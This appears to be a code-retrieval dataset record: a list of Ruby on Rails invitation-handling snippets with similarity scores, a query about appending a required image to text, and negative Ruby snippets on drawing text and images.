"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end",
"def link_to_invite_if_allowed(event, options={})\n return unless signed_in?\n\n options[:class] = Array.wrap(options[:class]) << \"invite_more\"\n\n if event.allow_invites_from(current_user)\n link_to t(\"events.form.invite\"), new_event_invitation_path(event), options\n end\n end",
"def url_after_invite(invite)\n invite.invitable\n end",
"def show\n @invitation = Invitation.find(params[:id])\n if @invitation.inviter_id != current_user.id\n redirect_to root_path \n else\n @tasks = @invitation.get_tasks\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invitation }\n end\n end\n end",
"def event_invitation_notice(invitation)\n @user = invitation.user\n @invitation = invitation\n @event = invitation.event\n email = invitation.email || @user.try(:email)\n mail(:to => email, :subject => \"#{invitation.invitor.name} invited you to '#{invitation.event.title}' on SocialStreet\") unless email.blank?\n end",
"def block_from_invitation?\n false\n end",
"def invite(invitee, inviter)\n @invitee = invitee\n @inviter = inviter\n\n mail to: invitee.email,\n subject: \"Invitation from #{inviter.first_name} to join a kinstagram family\"\n end",
"def show\n @invitation_code = InvitationCode.find(params[:id])\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @invitation_code.to_xml }\n end\n end",
"def invitation_used user, invitation\n if invitation\n @user = user\n @invitation = invitation\n mail( to: invitation.from,\n subject: \"Your invitation to #{invitation.to} was just used\"\n )\n end\n end",
"def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end",
"def show\n @invitation = Invitation.find_by_uuid(params[:id])\n @subject = @invitation.sender\n\n @invitee_name = @invitation.recipient_name\n @invitee_email = @invitation.recipient\n end",
"def set_invitation\n arel = Invitation.arel_table\n self.invitation = Invitation.find_by(arel[:email].matches(self.email))\n end",
"def invite(invitation)\n @invitation = invitation\n mail(to: invitation.email, subject: \"#{invitation.user.name} invite you to join GURUPU\")\n end",
"def bookkeeper_invitation_url(access)\n \"#{::AppConfig.mail.host}/access/#{access}\"\n end",
"def invitation_coloc\n ColocMailer.invitation_coloc\n end",
"def send_invitations(receivers, message: '', sender: self, receiver_type: 'User')\n if receivers.kind_of?(Array)\n receivers.each do |r|\n invitation = Group::Invitation.new(message: message)\n invitation.sender = sender\n if r.is_a? Fixnum or r.is_a? String\n invitation.receiver_id = r.to_i\n invitation.receiver_type = receiver_type\n #create_activity(:create, trackable: invitation, owner_id: r.to_i, owner_type: receiver_type)\n else\n invitation.receiver = r\n #create_activity(:create, trackable: invitation, recipient: r, owner: sender)\n end\n self.group_invitations << invitation\n end\n elsif receivers.is_a? Group::DoInvitation\n do_invitation receivers, sender: sender, receiver_type: receiver_type\n # TODO demander à Numa comment récupérer les infos\n else\n invitation = Group::Invitation.new(message: message)\n invitation.sender = sender\n invitation.receiver = receivers\n\n #create_activity(:create, trackable: invitation, recipient: receivers, owner: sender)\n\n self.group_invitations << invitation\n end\n end",
"def resource_class\n return params.dig(:invitation, :type).constantize if params.dig(:invitation, :type).present?\n\n super\n end",
"def show\n @linked_in_invitation = LinkedInInvitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @linked_in_invitation }\n end\n end",
"def invite(subject, body, options={})\n\t\ttest_invitation = options[:preview_email].present?\n\t\tif !test_invitation && !validate_invitable\n\t\t\terrors.add :invitation_sent_at, I18n.t('models.profile.invitation_sent_at.save_error')\n\t\telsif generate_and_save_invitation_token\n\t\t\trecipient = options[:preview_email].presence || invitation_email\n\t\t\tdelivery_token = EmailDelivery.generate_token\n\t\t\tProfileMailer.invite(recipient, subject, body, self, delivery_token, test_invitation).deliver_now\n\t\t\tunless test_invitation or invitation_delivered recipient, options[:sender], delivery_token\n\t\t\t\terrors.add :invitation_sent_at, I18n.t('models.profile.invitation_sent_at.save_error')\n\t\t\tend\n\t\tend\n\t\terrors.empty?\n\tend",
"def invite(invitation)\n @invite = invitation\n mail :to => invitation.email,\n :subject => \"Welcome to the Panda\"\n end",
"def invitation_email(invitation)\n @invitation = invitation\n recipients = [\"precisionfda-support@dnanexus.com\"]\n recipients << \"precisionfda@fda.hhs.gov\" if Rails.env.production?\n\n mail to: recipients,\n reply_to: \"precisionfda-support@dnanexus.com\",\n subject: \"New access request from #{invitation.first_name} #{invitation.last_name}\"\n end",
"def index\n @pending_invitations = @organization.invitations.pending\n @declined_invitations = @organization.invitations.declined\n @contributors = @organization.contributors\n @invitation = Invitation.new(organization: @organization)\n\n authorize! @invitation\n end",
"def collaboration_notification(attributes={})\n invited_by = attributes[:invited_by]\n\t\t@sender_name = invited_by.try(:full_name)\n\t\t@invitee_name = attributes[:invitee].full_name\n\t\tcollaboration_object_type = attributes[:invitation_type].class.to_s.downcase\n\t\t@collaboration_link = \"#{ENV['DOMAIN']}/#/app/#{collaboration_object_type.pluralize}/#{attributes[:invitation_type].id}/accept_invitation\"\n\t\t@reject_link = \"#{ENV['DOMAIN']}/#/app/#{attributes[:invitation_type].class.name.downcase.pluralize}/#{attributes[:invitation_type].id}/reject_invitation\"\n\t\t@message = attributes[:invitation_message].to_s\n\t\t@subject = \"Your help has been requested for a new #{collaboration_object_type} in Grapple.\"\n\t\tp \"-----------------------------------------------------------------------------\"\n\t\tp \"Existing User - Sending CollabInvitation to #{@invitee_name} - #{attributes[:email]}\"\n\t\tp \"-----------------------------------------------------------------------------\"\n\t\tif collaboration_object_type == \"project\"\n\t\t\t@project_title = attributes[:invitation_type].title\n\t\t\tmail(\"existing_user_project_collaboration_invitation\",email: attributes[:email])\n\t\telsif collaboration_object_type == \"document\"\n\t\t\t@document_title = attributes[:invitation_type].title\n\t\t\t@project_title = attributes[:invitation_type].project.title\n\t\t\tmail(\"existing_user_document_collaboration_invitation\",email: attributes[:email])\n\t\tend\n\tend",
"def membership_invite_request_action_message(approval_allowed, is_invite, username_dropdown)\n if approval_allowed \n if is_invite\n return \"You have received an invitation to become a member of:\"\n else\n return \"#{username_dropdown} has sent you a request to join:\"\n end\n else\n if is_invite\n return \"You have invited #{username_dropdown} to join:\" \n else\n return \"You have requested to become a member of:\"\n end\n end\n end",
"def campaign_invitation(invitation)\n # @from = invitation.user_id\n # @to_name = invitation.to_name\n # @to_email = invitation.to_email\n # @message = invitation.message\n # @campaign = invitation.campaign_id\n @invitation = invitation\n\n mail to: \"#{@invitation.to_email}\", subject: t(\"user_mailer.campaign_invitation.subject\", from: @invitation.user.full_name)\n\n # mail to: \"#{@to_user.email}\", subject: t(\"user_mailer.campaign_invitation.subject\", from_user: @from_user, to_user: @to_user, message: @message)\n end",
"def invite_friend(user, invitation)\n @user = user\n @invitation = invitation\n\n mail to: @invitation.email, subject: \"Invitation to connect@ustksa\"\n end",
"def invitation\n InvitationMailer.send_invitation(self).deliver\n end",
"def deliver_invitation(options = {})\n super(options.merge(subject: _('A Data Management Plan in %{application_name} has been shared with you') % {application_name: Rails.configuration.branding[:application][:name]}))\n end",
"def show\n specification = Specification.find(session[:specification_sel_id])\n @invitation = Invitation.find(params[:id])\n if specification.user_id == current_user.username\n\t\t@propio = true\n\telse\n\t\t@propio = false\n\tend\n\tif current_user.acquisition? || current_user.acquisition_analist? || current_user.import? || current_user.import_analist?\n\t\tif @propio\n\t\t\t@puedeEliminar = true\n\t\telse\n\t\t\t@puedeEliminar = false\n\t\tend\n\telse\n\t\t@puedeEliminar = true\n\tend\n\t\n respond_to do |format|\n format.html\n format.pdf do\n pdf = ReporteInvitations.new(@invitation)\n nombre = \"Especificacion_#{session[:specification_sel_id]}_Carta_Invitacion_Empresa_#{@invitation.nombre}.pdf\"\n send_data pdf.render, filename: nombre, type: 'application/pdf'\n end\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n @event = @invitation.event.try(:name)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invitation }\n end\n end",
"def invite\n if invite_by_file? || invite_by_entry?\n invitation_service.invite(invitation_params)\n elsif invite_by_registration_code?\n invitation_service.enable_registration_code(invitation_params)\n end\n rescue CSV::MalformedCSVError => e\n current_course.errors.add(:invitations_file, e.message)\n return false\n end",
"def invite_resource\n ## skip sending emails on invite\n u = resource_class.invite!(invite_params, current_inviter) do |u|\n u.skip_invitation = true\n u.invitation_sent_at = DateTime.now\n end\n flash[:link] = accept_user_invitation_url(:invitation_token => u.raw_invitation_token)\n u\n end",
"def invite\n invitation_service.invite(invitation_params)\n end",
"def invite_resource\n ## skip sending emails on invite\n # super do |u|\n # u.skip_invitation = true\n # end\n end",
"def invitation_owner\n code = params[:invitation_code]\n @invitation_owner = Owner.get_invitation_owner(code)\n end",
"def invite_neighbor(invitation)\n @invitation = invitation\n @greeting = \"Howdy, neighbor!\"\n mail to: \"#{@invitation.recipient_email}\", subject:\"#{@invitation.sender.username} has invited you to join their group on NeighborShare.\"\n end",
"def invite(invitation, www_host)\n @invitation = invitation\n @www_host = www_host\n \n mail :to => invitation.email_address\n end",
"def invite_to_network\n @network = current_organization.owned_networks.find(params[:network_id]) \n @invitation = find_invitee_and_create_invitation(@network)\n \n respond_to do |wants|\n wants.js\n end\n end",
"def show\n @invitation = Invitation.find(params[:id])\n @title = @invitation.guest.name\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @invitation }\n end\n end",
"def invitation_params\n params.require(:invitation).permit(:sending_user_id, :receiving_user_id, :invitable_id, :invitable_type, :time_sent, :accepted)\n end",
"def create\n @network = current_organization.owned_networks.find(params[:network_id]) \n\n @invitation = if params[:organization_id] then\n organization = Organization.find(params[:organization_id])\n Invitation.new_invitation_to(@network, { \n :invitee => organization, \n :inviter => current_organization\n })\n elsif params[:external_invitation] then\n Invitation.new_external_invitation_to(@network, params[:external_invitation].merge(:inviter => current_organization))\n end\n \n if @invitation.save then\n if @invitation.is_a?(ExternalNetworkInvitation) then\n flash[:notice] = \"Invitation sent to #{@invitation.organization_name}\"\n else\n flash[:notice] = \"Invitation sent to #{@invitation.invitee.name}\"\n end\n\n redirect_to network_path(@network)\n else\n # Load @members, required for the networks show view.\n @members = @network.organizations.find(:all, :conditions => ['organizations.id <> ?', current_organization.id]) \n render :template => '/networks/show'\n end\n end",
"def accept_invitation(invite)\n self.invitation= invite\n self.validation_level = invite.validation_level\n self.invitation_code = invite.code\n end",
"def show\n @invite = Invite.find(params[:id])\n\n logger.debug(\"sgj:invites_controller:show:1\")\n if params[:ignore] and @invite\n logger.debug(\"sgj:invites_controller:show:1.1\")\n @invite.declined_silently_on = current_user.dtoday\n @invite.save\n logger.debug(\"sgj:invites_controller:show:1.2\") \n end\n logger.debug(\"sgj:invites_controller:show:2\")\n\n\n if params[:accept] and @invite\n ###### REDIRECT TO A NEW GOAL MATCHING THE TEAM YOU'RE INVITED TO\n redirect_url_string = \"/goals/new?welcome=1\"\n redirect_url_string += \"&invitation_id=\" + @invite.id.to_s\n\n if @invite.purpose_join_team_id\n team = Team.find(@invite.purpose_join_team_id)\n if team\n if team.category_name\n redirect_url_string += \"&category=\" + team.category_name\n end\n if team.goal_template_parent_id\n redirect_url_string += \"&template_user_parent_goal_id=\" + team.goal_template_parent_id.to_s\n goal = Goal.find(team.goal_template_parent_id)\n if goal\n redirect_url_string += \"&goal_template_text=\" + goal.response_question\n end\n end\n end\n end\n end ### end if params[:accept] and @invite\n\n if redirect_url_string\n\n redirect_to(redirect_url_string)\n\n else\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invite }\n end\n\n end\n\n\n end",
"def show\n if self.admin? || (self.check_user && session[:user_id] == Invite.find(params[:id])[:user_id]) \\\n || (self.check_user && self.check_is_guild_owner && @guild[:id] == Invite.find(params[:id])[:guild_id])\n @invite = Invite.find(params[:id])\n end\n end",
"def invite_by_registration_code?\n invitation_params.is_a?(TrueClass) || invitation_params.is_a?(FalseClass)\n end",
"def set_invitation\n @invitation = Invitation.find_by(id: params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end",
"def accept\n # a notification message will be delivered to the the requestor anyway;\n # it may contain a personal note, if any was supplied\n group = Network.find(@membership.network_id)\n invite = @membership.is_invite?\n \n personal_message = \"NONE\"\n if params[:accept_msg] && !params[:accept_msg].blank?\n personal_message = ae_some_html(params[:accept_msg])\n end\n\n # the messages will appear as 'deleted-by-sender', because the owner of the account effectively didn't send it,\n # so there is no reason for showing this message in their 'sent messages' folder\n\n if invite\n from = User.find(@membership.user_id)\n\n subject = \"Invitation to '\" + group.title + \"' accepted\"\n body = render_to_string :locals => { :from => from, :group => group, :msg => personal_message },\n :inline => <<EOM\n<%= name(from) %> has accepted an invitation to join <%= title(group) %> group.\n<br/>\n<br/>\n<strong><i>Personal message from user:</i></strong><hr/>\n<%= msg %>\n<hr/>\nEOM\n\n group.administrators(true).each {|to| \n send_action_message(from.id, to.id, subject, body)\n }\n else\n from = current_user\n\n subject = \"Membership to '\" + group.title + \"' accepted\"\n body = render_to_string :locals => { :from => from, :group => group, :msg => personal_message },\n :inline => <<EOM\n<%= name(from) %> has accepted your request to join <%= title(group) %> group.\n<br/>\n<br/>\n<strong><i>Personal message from <%= name(from) %>:</i></strong><hr/>\n<%= msg %>\n<hr/>\nEOM\n\n send_action_message(from.id, @membership.user_id, subject, body)\n\n subject = \"Membership to '\" + group.title + \"' accepted\"\n body = render_to_string :locals => { :from => from, :other => @membership.user_id, :group => group, :msg => personal_message },\n :inline => <<EOM\n<%= name(from) %> has accepted a request by <%= name(other) %> to join <%= title(group) %> group.\n<br/>\n<br/>\n<strong><i>Personal message from <%= name(from) %> to user:</i></strong><hr/>\n<%= msg %>\n<hr/>\nEOM\n\n group.administrators(true).select{|admin| admin.id != from.id}.each {|to|\n send_action_message(from.id, to.id, subject, body)\n }\n end\n\n respond_to do |format|\n if @membership.accept!\n flash[:notice] = 'Membership was successfully accepted.'\n format.html { redirect_to network_path(@membership.network_id) }\n else\n flash[:error] = \"Membership already accepted.\"\n end\n format.html { redirect_to network_path(@membership.network_id) }\n end\n end",
"def invitation_instructions(record)\n setup_mail(record, :invitation_instructions)\n end",
"def invitation_instructions(record)\n setup_mail(record, :invitation_instructions)\n end",
"def invite_subject\n \"Your invitation to #{org_name.possessive} Creative Difference Dashboard\"\n end",
"def generate_invitation_attachment(locals)\n \"invitation-#{locals.fetch(:event).id}.ics\"\n end",
"def invite_via_suggestion(invited_user, project_invite, authorised_by_user)\n return false unless (@invited_user = invited_user).receive_notifications?\n\n @organisation = project_invite.invited_organisation_resource\n @invited_user = project_invite.invited_user\n @authorised_by_user_name = authorised_by_user.first_name.blank? ? 'Someone' : authorised_by_user.first_name\n @authorised_by_user_email = authorised_by_user.email\n \n mail to: @invited_user.email, subject: \"You've been invited to join an organisation on DigitalSocialInnovation\"\n end",
"def invitation(user)\n @user = user\n mail to: user.email\n end",
"def show\n @invitation_message = InvitationMessage.find(params[:id])\n @owner = User.find(@invitation_message.owner_id)\n \n \n if @invitation_message.video\n @video_html = opentok_video_html(@invitation_message.video)\n else\n @video_html = \"\"\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation_message }\n end\n end",
"def set_invitation\n\t @invitation = Invitation.find(params[:id])\n\t end",
"def invitation(invitation, signup_url)\n puts \"signup_url\"\n puts signup_url\n puts \"invitation\"\n puts invitation.to_s\n @signup_url = signup_url\n subject 'Invitation to www.iCoddle.com'\n recipients invitation.recipient_email\n from 'CEO@iCoddle.com'\n body :invitation => invitation, :signup_url => signup_url\n invitation.update_attribute(:sent_at, Time.now)\n end",
"def is_an_invitee?\n self.invitations.size > 0\n end",
"def set_invitation\n @invitation = Invitation.find(params[:id])\n end"
] |
[
"0.68081903",
"0.65692526",
"0.6463543",
"0.634456",
"0.6200775",
"0.6004903",
"0.599529",
"0.5945305",
"0.59146553",
"0.59000784",
"0.5894578",
"0.5890768",
"0.5882308",
"0.58757615",
"0.5873278",
"0.5816881",
"0.5806074",
"0.58054644",
"0.5804733",
"0.5799731",
"0.5790276",
"0.5758331",
"0.5753856",
"0.5753856",
"0.5753856",
"0.5753856",
"0.57320607",
"0.572819",
"0.5727801",
"0.5686454",
"0.56656957",
"0.5660261",
"0.565425",
"0.56514925",
"0.56450707",
"0.5631938",
"0.5623444",
"0.56067055",
"0.5603069",
"0.5598982",
"0.5578009",
"0.5569375",
"0.55640775",
"0.5552829",
"0.5544266",
"0.55355155",
"0.5532583",
"0.55269235",
"0.55239415",
"0.55147254",
"0.5510149",
"0.5508305",
"0.5502309",
"0.54972756",
"0.54918283",
"0.54833317",
"0.547231",
"0.5463286",
"0.5461555",
"0.54591453",
"0.5453651",
"0.54493356",
"0.5435244",
"0.54347503",
"0.54332715",
"0.54322815",
"0.5431021",
"0.5430435",
"0.54270804",
"0.5409562",
"0.5400515",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.53993845",
"0.5386046",
"0.5383108",
"0.5383108",
"0.53771836",
"0.5375034",
"0.53737307",
"0.5364979",
"0.53550893",
"0.53523725",
"0.5347802",
"0.5336821",
"0.53262144"
] |
0.7751789
|
0
|
Appends the required image to the text
|
def required(text)
text + image_tag("required.gif")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_text\n\t\ttext = Magick::Draw.new\n\t\ttext.font_family = 'georgia'\n\t\ttext.font_weight = Magick::NormalWeight\n\t\ttext.pointsize = 40\n\t\ttext.fill = COLOR\n\t\ttext.gravity = Magick::SouthGravity\n\t\ttext.annotate(@image, 0, 0, 0, 60, Base64.encode64(MESSAGE_1_64))\n\t\ttext.pointsize = 20\n\t\ttext.annotate(@image, 0, 0, 0, 20, Base64.encode64(MESSAGE_2_64))\n\tend",
"def display_alternative_text_image(image)\n # Interface method\n end",
"def photo_text(image, text, alt_text = t(text))\n image_tag('image/todd_ramirez_' + image,\n alt: alt_text,\n title: alt_text) + tag(:br) +\n content_tag(:itext, t(text)) + tag(:br)\n end",
"def text=(text)\r\n @text = text\r\n create_image\r\n end",
"def photo_text_s(image, text, alt_text = t(text))\n image_tag('image/todd_ramirez_' + image,\n alt: alt_text,\n title: alt_text) + tag(:br) +\n content_tag(:itext, t(text)) + tag(:br) + tag(:br) + tag(:br) + tag(:br)\n end",
"def create_text_content(text, text_height, font_name)\n\t\tGosu::Image::from_text(text, text_height, {:font => font_name})\n\tend",
"def addtext(url)\n img = MiniMagick::Image.open(IMAGE_FILE)\n rows = split_text_into_rows(text)\n addrow(img, rows[0], POSITION_1)\n addrow(img, rows[1], POSITION_2)\n addrow(img, rows[2], POSITION_3)\n addrow(img, rows[3], POSITION_4)\n addrow(img, rows[4], POSITION_5)\n addrow(img, rows[5], POSITION_6)\n save_to_file(img, url)\n end",
"def append_image(image)\n image_ele = @image_ele.clone\n image_ele.at(\".//v:shape\").attributes[\"style\"].value = \"width:#{image.width}pt;height:#{image.height}pt\"\n image_ele.at(\".//v:imagedata\").attributes[\"id\"].value = \"rId#{@rid_index}\"\n image_rel = @image_rel.clone\n image_rel.attributes[\"Id\"].value = \"rId#{@rid_index}\"\n image_rel.attributes[\"Target\"].value = \"media/image#{@rid_index}.#{image.file_type}\"\n FileUtils.cp(image.file_name, \"public/downloads/#{@filename}/blank_doc/word/media/image#{@rid_index}.#{image.file_type}\")\n @rel_doc.at('.//xmlns:Relationships').add_child(image_rel)\n @rid_index += 1\n\n last_para = @main_doc.xpath('.//w:p')[-1]\n last_para.add_child(image_ele)\n end",
"def composing\n background = Image.read('test.png').first\n avatar = Image.read('499317.jpeg').first\n\n avatar_resized = avatar.resize_to_fit(40,40)\n avatar_resized.border!(1, 1, 'black')\n avatar_resized.shadow(2, 5, 3)\n\n marketing_image = background.composite(avatar_resized, 30, 58, OverCompositeOp)\n\n text = \"耀你的命 show me your lives!\"\n\n content = Magick::Draw.new\n content.annotate(marketing_image, 0, 0, 60, 550, text) do\n self.font = './ZuiYouTi-2.ttf'\n self.pointsize = 24\n self.font_weight = Magick::BoldWeight\n self.fill = 'black'\n self.gravity = Magick::SouthEastGravity\n end\n\n\n marketing_image.write(\"marketing_image.png\")\nend",
"def composite_image\n\t\tcolor = self.colour_scheme.font\n\t\thighlight_color = self.colour_scheme.highlight\n\t\t@text.annotate(@canvas, 0, 0, @x, @y, @quote) { self.fill = color }\n\n\t\tif @quote_marks\n\t\t\t@text.annotate(@canvas, 0, 0, (@x - 28), @y, \"“\") {self.fill = color }\n\t\tend\n\n\t\t@citation_params.annotate(@canvas, 0, 0, @x , @y + @quote_height, @citation) {self.fill = highlight_color}\n\tend",
"def prepareBackgroundImage(text)\n # Margins within the text Rect\n x_margin = 5\n y_margin = 1\n\n dynamic_font = self.titleLabel.font\n # We really don't care about the constraintSize just yet\n constraintSize = CGSizeMake(200, 37)\n current_size = text.sizeWithFont(dynamic_font, constrainedToSize:constraintSize, lineBreakMode: NSLineBreakByWordWrapping)\n\n # These are the images that should be concatenated.\n # They are the same height.\n pointer = UIImage.imageNamed(\"marker_pointer_unviewed.png\")\n balloon = UIImage.imageNamed(\"map_marker_unviewed.png\")\n\n # We are going to put the text in the balloon, which is at this rect. The\n # balloon should have x_margin space on each horizontal size, and y_margin\n # on each vertical side.\n\n textRect = Rect(pointer.size.width,\n pointer.size.height - current_size.height + y_margin * 2,\n current_size.width + x_margin * 2,\n pointer.size.height - current_size.height + y_margin * 2)\n\n # The size of the entire image should be the pointer + the width of the text rect\n # and the height of the images, which are the same height\n img_size = Size(pointer.size.width + textRect.size.width, pointer.size.height)\n pointed = UIImage.canvas(img_size) do |context|\n pointer.drawAtPoint([0,0])\n # We create a stretchable image between the x_margin pixels on each horizontal side\n insets = EdgeInsets(0, 15, 0, 45)\n img = balloon.resizableImageWithCapInsets(insets)\n # We draw that this image, which is the same height as the pointer to cover the textRect\n # This operation is basically filling the image next to the pointer to the desired size\n img.drawInRect(Rect(pointer.size.width, 0, textRect.size.width, pointer.size.height))\n end\n self.setBackgroundImage(pointed, forState: UIControlStateNormal)\n #self.setBackgroundImage(pointed.darken, forState: UIControlStateHighlighted)\n # The text gets drawn centered on the entire size of the button.\n # So, we have to offset the centers with insets so that the\n # center of the text is in the center of the text Rect.\n # The coordinate system is 0,0 at bottom left, so we need to inset right,\n # and up, which means we have a positive left, and a negative top inset.\n # Furthermore the text must be inset by the margins inside the\n # calculated Rect.\n contentRect = Rect([0,0],pointed.size)\n titleCenter = Point [CGRectGetMidX(contentRect), CGRectGetMidY(contentRect)]\n textRectCenter = Point [CGRectGetMidX(textRect), CGRectGetMidY(textRect)]\n top = textRectCenter.y - titleCenter.y + y_margin\n left = textRectCenter.x - titleCenter.x + x_margin\n puts \"titleCenter #{titleCenter.inspect} textCenter #{textRectCenter.inspect}\"\n puts \"top #{-top} left #{left}\"\n w = EdgeInsets(-top, left, 0, 0)\n self.titleEdgeInsets = w\n self.size = pointed.size\n end",
"def apply_label(text, image)\n image.composite(build_label(text),\n Magick::CenterGravity,\n Magick::HardLightCompositeOp)\n end",
"def write_on_bitmap\n draw_key_icon(@key, padding, padding)\n x = padding + 26\n y = padding\n w = @width\n h = base_height\n bitmap.draw_text(x, y, w, h, @text)\n end",
"def create_image\r\n if @max_width\r\n @image = Gosu::Image.from_text($window, @text, @font, @size, @line_spacing, @max_width, @align)\r\n else\r\n @image = Gosu::Image.from_text($window, @text, @font, @size)\r\n end\r\n end",
"def refresh\n self.text = @text_string if @image\n end",
"def image alt_text, href\n \"!\" + link_to(alt_text, href)\n end",
"def design2image\n\n bkgImg = Image.read(\"#{Rails.root}/public/#{params[:bkg]}\").first\n\n sideTop = 36\n sideLeft = 95\n sideWidth = 216\n sideHeight = 353\n\n side = params[:side]\n if side == 'SLEEVE'\n sideWidth = 162\n sideHeight = 250\n end\n #ART Processing\n arts = params[:art];\n art_tops = params[:art_top];\n art_lefts = params[:art_left];\n \n \n #Image.new(columns, rows) ~ (width, height)\n containSide = Magick::Image.new(sideWidth, sideHeight) do\n self.background_color = 'none'\n end\n\n i=0\n if arts\n clipArt = Image.read(\"#{Rails.root}/public/#{arts[0]}\").first\n clipArtTop = art_tops[i].to_i if art_tops[i]\n clipArtLeft = art_lefts[i].to_i if art_lefts[i]\n containSide = containSide.composite(clipArt, clipArtLeft, clipArtTop, OverCompositeOp)\n end\n\n #TEXT Processing\n texts = params[:text];\n text_tops = params[:text_top];\n text_lefts = params[:text_left];\n\n\n if texts\n textArtTop = text_tops[i].to_i if text_tops[i]\n textArtLeft = text_lefts[i].to_i if text_lefts[i]\n gc = Magick::Draw.new\n textArt = Magick::Image.new(300, 200) do\n self.background_color = 'none'\n end\n gc.annotate(textArt, 0, 0, 0, 0, texts[i]) do\n self.gravity = Magick::NorthWestGravity\n self.pointsize = 22\n self.font_family = \"Times\"\n self.fill = '#0000A9'\n self.stroke = \"none\"\n end\n end\n\n containSide.composite!(textArt, textArtLeft || 0, textArtTop || 0, OverCompositeOp) if textArt\n \n bkgImg.composite!(containSide, sideLeft, sideTop, OverCompositeOp)\n bkgImg.scale!(0.5)\n\n send_data bkgImg.to_blob, :disposition => 'inline', :type => 'image/png'\n\n# output = get_working_image(@session_id)\n# unless File.exist?(output)\n# FileUtils.cp(\"#{RAILS_ROOT}/public/images/#{params[:textart]}.png\", output)\n# img = Image.read(output).first\n# img = img.scale(params[:rs].to_f) unless params[:rs].blank?\n# img = img.level_colors(params[:b] || \"\", params[:w] || \"\", true) if params[:b] || params[:w]\n# img.background_color = \"none\"\n# img = img.rotate(params[:r].to_f) unless params[:r].blank?\n# img.write(output)\n# end\n# img = Image.read(output).first\n# send_data img.to_blob, :disposition => 'inline', :type => 'image/png'\n\n end",
"def draw_image_for_char(char)\n canvas = Magick::Image.new(@config.char_width, @config.char_height)\n gc = Magick::Draw.new\n gc.pointsize = 20.0\n #gc.font_family = \"Helvetica\"\n #gc.font_weight = Magick::BoldWeight\n\n gc.stroke('transparent')\n gc.fill('black')\n gc.gravity = Magick::CenterGravity\n gc.annotate(canvas, 0, 0, 0, 0, char)\n\n gc.draw(canvas)\n\n canvas\n end",
"def write_on_bitmap\n draw_key_icon(@key, padding, padding)\n x = padding + 24\n y = padding\n w = SKC_Settings::WIDTH\n h = base_height\n bitmap.draw_text(x, y, w, h, @text)\n end",
"def add_image(title, text, filename)\n image = File.open(filename, \"rb\") { |io| io.read }\n hashFunc = Digest::MD5.new\n hashHex = hashFunc.hexdigest(image)\n\n data = Evernote::EDAM::Type::Data.new()\n data.size = image.size\n data.bodyHash = hashHex\n data.body = image\n\n resource = Evernote::EDAM::Type::Resource.new()\n resource.mime = \"image/png\"\n resource.data = data;\n resource.attributes = Evernote::EDAM::Type::ResourceAttributes.new()\n resource.attributes.fileName = filename\n\n note = Evernote::EDAM::Type::Note.new()\n note.title = title\n note.notebookGuid = self.guid\n note.content = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' +\n '<!DOCTYPE en-note SYSTEM \"http://xml.evernote.com/pub/enml2.dtd\">' +\n '<en-note>' + text +\n '<en-media type=\"image/png\" hash=\"' + hashHex + '\"/>' +\n '</en-note>'\n note.resources = [ resource ]\n\n Everton::Remote.note_store.createNote(Everton::Remote.access_token, note)\n end",
"def break_text_with_image(width, textarray, draw)\n tokens = textarray.flat_map{ |x| x.respond_to?(:split) ? x.split(/ /) : x }\n tokens = tokens.flat_map{ |x| x.respond_to?(:split) ? x.split(/(?<=\\n)/) : x }\n\n result = []\n line = []\n linelength = 0\n\n tokens.each_with_index do |item, i|\n itemlength = item.class == Image ?\n item.columns : draw.get_type_metrics(item + ' ').width\n\n if (line.empty?)\n line << item\n else\n if (width != 0 && itemlength + linelength > width)\n result << line\n line = [item]\n linelength = 0\n else\n t = line.pop\n\n if (t.class != Image)\n t += ' '\n elsif (item.class != Image)\n item = ' ' + item\n end\n\n if (t.class == Image or item.class == Image)\n line << t << item\n else\n line << t + item\n end\n end\n end\n\n if (item.class != Image and item.include?(\"\\n\"))\n line[0].sub!(\"\\n\", '')\n result << line\n line = []\n linelength = 0\n next\n end\n\n linelength += itemlength\n end\n\n unless (line.empty?)\n result << line\n end\n\n return result\n end",
"def output_image\r\n @icon.each do |data|\r\n puts data.join\r\n end\r\n end",
